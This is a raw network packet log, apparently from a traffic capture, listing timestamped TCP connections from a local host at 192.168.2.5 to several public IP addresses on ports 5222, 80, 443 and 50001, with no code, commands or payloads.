Sep 30, 2024 12:20:55.552772045 CEST	5222	49966	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.574235916 CEST	5222	49959	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.574915886 CEST	49959	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.596805096 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.610133886 CEST	49970	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.610650063 CEST	49972	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.611339092 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.614577055 CEST	49973	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.619259119 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.619318008 CEST	443	49974	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.619427919 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.619472980 CEST	5222	49973	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.619524002 CEST	49973	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.620086908 CEST	49973	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.620609999 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.620639086 CEST	443	49974	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.621764898 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.624856949 CEST	5222	49973	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.626722097 CEST	80	49975	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.626786947 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.626950979 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.632080078 CEST	80	49975	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.632155895 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.637044907 CEST	80	49975	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.639033079 CEST	443	49960	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.639095068 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.639120102 CEST	49960	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.643408060 CEST	443	49969	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.649876118 CEST	80	49928	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.649954081 CEST	49928	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.655409098 CEST	443	49971	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.656779051 CEST	80	49972	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.656794071 CEST	5222	49970	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.666163921 CEST	5222	49963	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.666434050 CEST	49963	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.730211973 CEST	49973	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.730490923 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.731625080 CEST	443	49962	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.731694937 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.731715918 CEST	49962	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.732659101 CEST	49975	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.751044035 CEST	443	49964	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.751106024 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.751127005 CEST	49964	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.759059906 CEST	80	49931	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.759120941 CEST	49931	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.771413088 CEST	443	49974	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.771845102 CEST	5222	49966	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.771944046 CEST	49966	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.776738882 CEST	5222	49973	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.781785011 CEST	49976	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.784759998 CEST	80	49975	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.785708904 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.785746098 CEST	443	49977	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.785877943 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.786732912 CEST	5222	49976	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.786813974 CEST	49976	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.787166119 CEST	49976	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.787606001 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.787621021 CEST	443	49977	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.789746046 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.789778948 CEST	443	49978	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.789901972 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.791258097 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.791275024 CEST	443	49978	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.792052031 CEST	5222	49976	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.793206930 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.798058987 CEST	80	49979	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.798126936 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.801783085 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.806632996 CEST	80	49979	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.806777000 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.811595917 CEST	80	49979	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.829801083 CEST	49976	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.830846071 CEST	49979	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:55.849303961 CEST	80	49934	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.849407911 CEST	49934	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.856605053 CEST	443	49967	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.856694937 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.856694937 CEST	49967	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.857741117 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.867234945 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.876378059 CEST	49980	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.876805067 CEST	80	49979	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.876837969 CEST	5222	49976	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:55.881370068 CEST	5222	49980	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.882998943 CEST	49980	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.888629913 CEST	49980	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.893455982 CEST	5222	49980	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.899420977 CEST	443	49977	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.902296066 CEST	5222	49970	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:55.902368069 CEST	49970	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:55.911421061 CEST	443	49978	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.938761950 CEST	49981	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.938827038 CEST	443	49981	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.938990116 CEST	49981	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.939722061 CEST	49980	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:55.940166950 CEST	49981	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.940237999 CEST	443	49981	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.940293074 CEST	49981	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.951966047 CEST	49982	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.956800938 CEST	5222	49982	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.956878901 CEST	49982	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.960047007 CEST	49982	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:55.964905977 CEST	5222	49982	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:55.965790987 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.965811968 CEST	443	49983	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.967046976 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.968704939 CEST	443	49969	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:55.968775988 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.968808889 CEST	49969	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:55.976182938 CEST	443	49971	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.976267099 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.978957891 CEST	49971	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.979002953 CEST	80	49938	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.979063034 CEST	49938	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.985323906 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:55.985340118 CEST	443	49983	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:55.988981009 CEST	5222	49980	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:55.989839077 CEST	5222	49973	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.989902020 CEST	49973	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:55.991452932 CEST	80	49940	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:55.994986057 CEST	49940	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.040087938 CEST	49984	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.045031071 CEST	80	49984	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.046499968 CEST	49984	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.057339907 CEST	49984	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.057447910 CEST	49982	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.062161922 CEST	80	49984	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.064656973 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.068077087 CEST	49984	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.069700003 CEST	80	49944	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.069758892 CEST	49944	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.100045919 CEST	443	49974	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.100121021 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.100150108 CEST	49974	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.107366085 CEST	5222	49982	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.107402086 CEST	443	49983	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.122087002 CEST	80	49984	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.150573015 CEST	49985	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.155469894 CEST	5222	49985	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.155545950 CEST	49985	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.157093048 CEST	49985	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.162072897 CEST	5222	49985	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.165206909 CEST	5222	49976	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.165275097 CEST	49976	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.171850920 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.171901941 CEST	443	49986	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.171971083 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.176892996 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.176912069 CEST	443	49986	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.195878983 CEST	80	49947	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.195936918 CEST	49947	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.208513975 CEST	49987	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.212519884 CEST	49985	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.213726997 CEST	80	49987	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.213747025 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.213795900 CEST	49987	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.218291998 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.218326092 CEST	443	49988	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.218399048 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.219747066 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.219762087 CEST	443	49988	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.220591068 CEST	49989	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.224363089 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.225446939 CEST	5222	49989	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.225503922 CEST	49989	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.225745916 CEST	49989	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.229192972 CEST	80	49990	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.229252100 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.229491949 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.230534077 CEST	5222	49989	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.234299898 CEST	80	49990	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.234363079 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.239208937 CEST	80	49990	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.249016047 CEST	443	49978	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.249082088 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.249102116 CEST	49978	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.251696110 CEST	5222	49980	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.251840115 CEST	49980	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.252039909 CEST	443	49977	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.252101898 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.252116919 CEST	49977	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.259418011 CEST	443	49986	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.260724068 CEST	5222	49985	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.286812067 CEST	80	49951	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.286885977 CEST	49951	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.314305067 CEST	49989	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.314438105 CEST	49990	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.314670086 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.318767071 CEST	49991	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.319513083 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.319557905 CEST	443	49992	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.319637060 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.320405960 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.320449114 CEST	443	49993	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.320507050 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.321115971 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.321131945 CEST	443	49992	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.321523905 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.321537018 CEST	443	49993	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.322454929 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.323641062 CEST	5222	49991	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.323714018 CEST	49991	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.323961973 CEST	49991	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.327323914 CEST	80	49994	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.327380896 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.327572107 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.327804089 CEST	5222	49982	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.327850103 CEST	49982	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.328732967 CEST	5222	49991	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.332490921 CEST	80	49994	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.332539082 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.337328911 CEST	80	49994	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.355437994 CEST	443	49988	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.360835075 CEST	80	49990	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.360857964 CEST	5222	49989	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.415803909 CEST	80	49954	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.415971994 CEST	49954	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.424930096 CEST	49993	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.429198980 CEST	49991	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.429286003 CEST	49994	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.429758072 CEST	49992	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.431498051 CEST	49995	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.431627035 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.431646109 CEST	443	49996	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.431740999 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.432549000 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.432815075 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.432828903 CEST	443	49996	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.436631918 CEST	5222	49995	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.436737061 CEST	49995	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.436964035 CEST	49995	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.437733889 CEST	80	49997	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.437793970 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.437959909 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.441677094 CEST	5222	49995	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.442671061 CEST	80	49997	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.442734003 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.447400093 CEST	443	49983	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.447485924 CEST	80	49997	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.447489977 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.447490931 CEST	49983	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.471402884 CEST	443	49993	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.471426964 CEST	443	49992	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.476747990 CEST	80	49994	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.476773024 CEST	5222	49991	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.524575949 CEST	80	49958	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.524745941 CEST	49958	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.524842024 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:56.529926062 CEST	50001	49998	185.196.10.235	192.168.2.5
Sep 30, 2024 12:20:56.530005932 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:56.532262087 CEST	49998	50001	192.168.2.5	185.196.10.235
Sep 30, 2024 12:20:56.533612967 CEST	5222	49985	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.533683062 CEST	49985	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.535118103 CEST	49995	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.535254002 CEST	49997	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:20:56.535754919 CEST	49996	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.537075043 CEST	50001	49998	185.196.10.235	192.168.2.5
Sep 30, 2024 12:20:56.537736893 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.537765980 CEST	443	49999	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.537832975 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.537892103 CEST	50000	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.539027929 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.539041996 CEST	443	49999	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.539091110 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.539098024 CEST	443	50001	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.539182901 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.539994955 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.540281057 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.540290117 CEST	443	50001	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.542706966 CEST	5222	50000	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.542777061 CEST	50000	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.542960882 CEST	50000	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.544819117 CEST	80	50002	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.544874907 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.545068979 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.547733068 CEST	5222	50000	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.549789906 CEST	80	50002	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.549869061 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.554924011 CEST	80	50002	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.579404116 CEST	443	49996	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.584737062 CEST	80	49997	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.584808111 CEST	5222	49995	66.228.63.175	192.168.2.5
Sep 30, 2024 12:20:56.596630096 CEST	5222	49989	139.144.164.103	192.168.2.5
Sep 30, 2024 12:20:56.596699953 CEST	49989	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.618213892 CEST	80	49961	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.618278980 CEST	49961	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.647284985 CEST	50001	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:56.650273085 CEST	443	49986	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.650357962 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.650377035 CEST	49986	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.651679993 CEST	50000	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.651809931 CEST	50002	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:20:56.652291059 CEST	49999	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.653647900 CEST	50003	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.653800964 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.653827906 CEST	443	50004	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.653892994 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.654968977 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.655023098 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.655034065 CEST	443	50004	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.658404112 CEST	5222	50003	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.658490896 CEST	50003	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.658705950 CEST	50003	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.659759045 CEST	80	50005	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.659959078 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.659959078 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.663486958 CEST	5222	50003	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.664937019 CEST	80	50005	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.664978027 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.669768095 CEST	80	50005	139.144.164.192	192.168.2.5
Sep 30, 2024 12:20:56.673167944 CEST	443	49988	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.673239946 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.673239946 CEST	49988	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.691402912 CEST	443	50001	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:56.694892883 CEST	5222	49991	45.79.244.41	192.168.2.5
Sep 30, 2024 12:20:56.694947958 CEST	49991	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:20:56.696743011 CEST	80	50002	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.696758032 CEST	5222	50000	66.228.63.21	192.168.2.5
Sep 30, 2024 12:20:56.699398994 CEST	443	49999	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.748689890 CEST	50003	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.748986959 CEST	50005	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:20:56.749075890 CEST	50004	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.751174927 CEST	50006	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:56.751368999 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.751404047 CEST	443	50007	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.751460075 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.752669096 CEST	50007	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:56.752684116 CEST	443	50007	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:56.752979994 CEST	50008	443	192.168.2.5	188.114.97.3
